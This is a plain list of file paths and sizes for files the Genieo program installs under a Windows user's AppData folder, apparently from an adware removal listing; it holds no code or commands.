C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\Activators.js (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\noitems.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\followbutton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\logo_icon.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\orig\field_fr.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\thumb_up.png (697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\splash.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\default_image.jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\classes.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\signUpButton.png (863 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_main.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\birthday_not_connected_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\warning.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\pagging_arrows.png (227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\icons\bug.png (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\LocationManager.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\birthday_cake.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\small_arrow_down.png (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_unfollow.png (849 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariMac.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_5.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prog_bar.gif (101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\buttonSp.png (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\topic_x.png (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie7.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\facebook_twitter.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\welcome_home.gif (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\dialogWarning.png (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\core.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\google_search_input_logo.png (903 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\follow_twitter_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\message_note.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weatherimg.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_ru.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\trayapp_uninstall.exe (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ru.css (630 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\ok.png (769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x_small.png (832 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\css\main.css (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-severe-alert.png (977 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\birthday.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template2.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\white.gif (965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\social_baloon_tip.png (158 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\shadowv.png (939 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extNextButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-snow.png (998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\class.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\syncOnButton.png (566 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\body_bg.png (323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\box_controls.png (814 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_en.json (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\UIState.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\redirect_handler.html (796 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\counter_bg.png (270 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewShareDisabled.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\js\collage.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\counter_bg.png (270 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack5.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\big_video_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame3.png (587 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\redSq.png (136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_white.png (217 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-storm.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\css\partner.css (930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_10.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_video.jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\css\notify.css (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\hotItemIcon.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\ajax-loader.gif (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\default.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\orig\field_ru.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo_small.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_gray_transparent.png (198 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebook_icon.png (432 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\blockTopic.png (137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\shekerKolshehu.gif (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\shadowh.png (944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_unfollow_old.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-showers-scattered.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\reportBugButton.png (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\button-enable.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\css\main.css (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\medium_image_frame.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_icon12px.png (543 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ad_no_image.gif (594 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\googleimg.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\background.png (386 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\settings\settings_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_yellow.png (206 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\headlines_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_auth_start.png (440 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extChromeMac2.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack3.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\message_tip.png (154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-showers.png (959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_9.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\signUpButton2.png (704 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\main.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\noPicture.png (976 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\double_border.png (133 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_en.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\general.css (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_btn.png (309 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\css\aggregation_page.css (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\anabel_analytics.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\miniview_ui.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\birthday_no_birthdays_bg.png (883 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tryItNow.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\all-genieo-sp-list.txt (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_v.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\notification-nodebug.js (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cakes.png (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery.cookie.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\magazine_ribon.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\test_items.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\hp_guard.html (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_word.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.classpath (355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\startpage.css (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame2.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac2.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\tpl\startpage.tpl (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\parent_proxy.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\utils.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\ticker.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fail.png (658 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariMacEnableExts.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sethpButton2.png (997 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\js\aggregation_page.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fbButton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\index.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\popup_bg.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebook_icon12px.png (592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\settings\anabel_settings.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\box_collapse.png (154 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\blank.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_fr.properties (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\userpic_overlay.png (190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\topicBg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_fr.json (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tmpl3rightButton.png (711 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\facebookShareIcon.png (311 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\btn.png (750 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\cmd_close.png (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\photos.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\const.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\pnf.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\iPhoneOk.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\goRssButton.png (790 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\older_items_btn.png (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\settings\followbutton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\topicDefault.png (478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_icon.png (798 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\normalLevel.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\hide_notification.png (165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\empty.gif (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template3.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prowered_by_google.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_7.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\DebugUtils.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\personalizationMeter\close.png (143 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_bg.gif (834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\disconnectTwitterBtn.png (690 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery-genieo-postmessage.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\popup_bg_white.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewShare.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_bird2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariWin2.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\you_tube.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\pagelet_tip_yellow_down.png (191 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack5sm.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\footer_right_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\redHome.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\reopen_btn.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\activity-indicator.gif (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\waitingTr.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\defaultCover.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\rss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\layers.css (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\share_btn.png (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\medium_video_frame.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\hover_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\personalizationMeter.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\fb_icon_big.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sethpButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\follow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_ui_pages.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\iphone.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\set_as_homepage_bg.png (993 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\fb.gif (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\default_favicon.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tutorial.png (5520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\strip.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\waiting.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_2.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\settings.css (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\actions.png (588 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\menu_bg.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\translator.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\red_arror_down.png (143 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack4sm.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\warning.png (380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\videobutton.png (862 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\x_white.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\feedbackButton.png (851 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\noItems.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\x_white.gif (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner_fr.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tmpl3leftButton.png (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\redarr.png (484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\footer_sep.gif (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\dfImg.png (1 bytes)
